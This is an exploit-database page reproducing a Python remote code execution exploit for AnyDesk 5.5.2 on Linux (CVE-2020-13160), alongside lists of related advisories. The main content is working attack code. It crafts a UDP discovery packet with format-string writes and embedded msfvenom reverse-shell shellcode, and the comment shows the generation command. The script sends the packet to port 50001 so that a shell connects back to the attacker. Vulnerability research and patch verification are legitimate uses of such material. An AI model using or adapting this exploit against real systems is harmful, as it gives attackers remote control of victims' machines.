Lucene search
K

AnyDesk 5.5.2 Remote Code Execution

🗓️ 03 Mar 2021 00:00:00Reported by scryhType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 247 Views

AnyDesk 5.5.2 Remote Code Execution on Linu

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for CVE-2025-12654
21 Oct 202519:31
githubexploit
GithubExploit
Exploit for CVE-2025-12654
14 Sep 202521:28
githubexploit
0day.today
AnyDesk GUI Format String Write Exploit
4 Jul 202000:00
zdt
0day.today
AnyDesk 5.5.2 - Remote Code Execution Exploit
3 Mar 202100:00
zdt
FreeBSD
Anydesk -- Multiple Vulnerabilities
10 Jun 202000:00
freebsd
ATTACKERKB
CVE-2020-13160
9 Jun 202000:00
attackerkb
Circl
CVE-2020-13160
20 Jun 202009:26
circl
CNVD
AnyDesk Formatting String Error Vulnerability
10 Jun 202000:00
cnvd
Check Point Advisories
AnyDesk Software AnyDesk GUI Remote Code Execution (CVE-2020-13160)
15 Feb 202100:00
checkpoint_advisories
CVE
CVE-2020-13160
9 Jun 202016:36
cve
Rows per page
`# Exploit Title: AnyDesk 5.5.2 - Remote Code Execution  
# Date: 09/06/20  
# Exploit Author: scryh  
# Vendor Homepage: https://anydesk.com/en  
# Version: 5.5.2  
# Tested on: Linux  
# Walkthrough: https://devel0pment.de/?p=1881  
  
#!/usr/bin/env python  
import struct  
import socket  
import sys  
  
ip = '192.168.x.x'  
port = 50001  
  
def gen_discover_packet(ad_id, os, hn, user, inf, func):  
d = chr(0x3e)+chr(0xd1)+chr(0x1)  
d += struct.pack('>I', ad_id)  
d += struct.pack('>I', 0)  
d += chr(0x2)+chr(os)  
d += struct.pack('>I', len(hn)) + hn  
d += struct.pack('>I', len(user)) + user  
d += struct.pack('>I', 0)  
d += struct.pack('>I', len(inf)) + inf  
d += chr(0)  
d += struct.pack('>I', len(func)) + func  
d += chr(0x2)+chr(0xc3)+chr(0x51)  
return d  
  
# msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.y.y LPORT=4444 -b "\x00\x25\x26" -f python -v shellcode  
shellcode = b""  
shellcode += b"\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48"  
shellcode += b"\x8d\x05\xef\xff\xff\xff\x48\xbb\xcb\x46\x40"  
shellcode += b"\x6c\xed\xa4\xe0\xfb\x48\x31\x58\x27\x48\x2d"  
shellcode += b"\xf8\xff\xff\xff\xe2\xf4\xa1\x6f\x18\xf5\x87"  
shellcode += b"\xa6\xbf\x91\xca\x18\x4f\x69\xa5\x33\xa8\x42"  
shellcode += b"\xc9\x46\x41\xd1\x2d\x0c\x96\xf8\x9a\x0e\xc9"  
shellcode += b"\x8a\x87\xb4\xba\x91\xe1\x1e\x4f\x69\x87\xa7"  
shellcode += b"\xbe\xb3\x34\x88\x2a\x4d\xb5\xab\xe5\x8e\x3d"  
shellcode += b"\x2c\x7b\x34\x74\xec\x5b\xd4\xa9\x2f\x2e\x43"  
shellcode += b"\x9e\xcc\xe0\xa8\x83\xcf\xa7\x3e\xba\xec\x69"  
shellcode += b"\x1d\xc4\x43\x40\x6c\xed\xa4\xe0\xfb"  
  
print('sending payload ...')  
p = gen_discover_packet(4919, 1, '\x85\xfe%1$*1$x%18x%165$ln'+shellcode, '\x85\xfe%18472249x%93$ln', 'ad', 'main')  
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)  
s.sendto(p, (ip, port))  
s.close()  
print('reverse shell should connect within 5 seconds')  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

03 Mar 2021 00:00Current
0.2Low risk
Vulners AI Score0.2
EPSS0.88826
247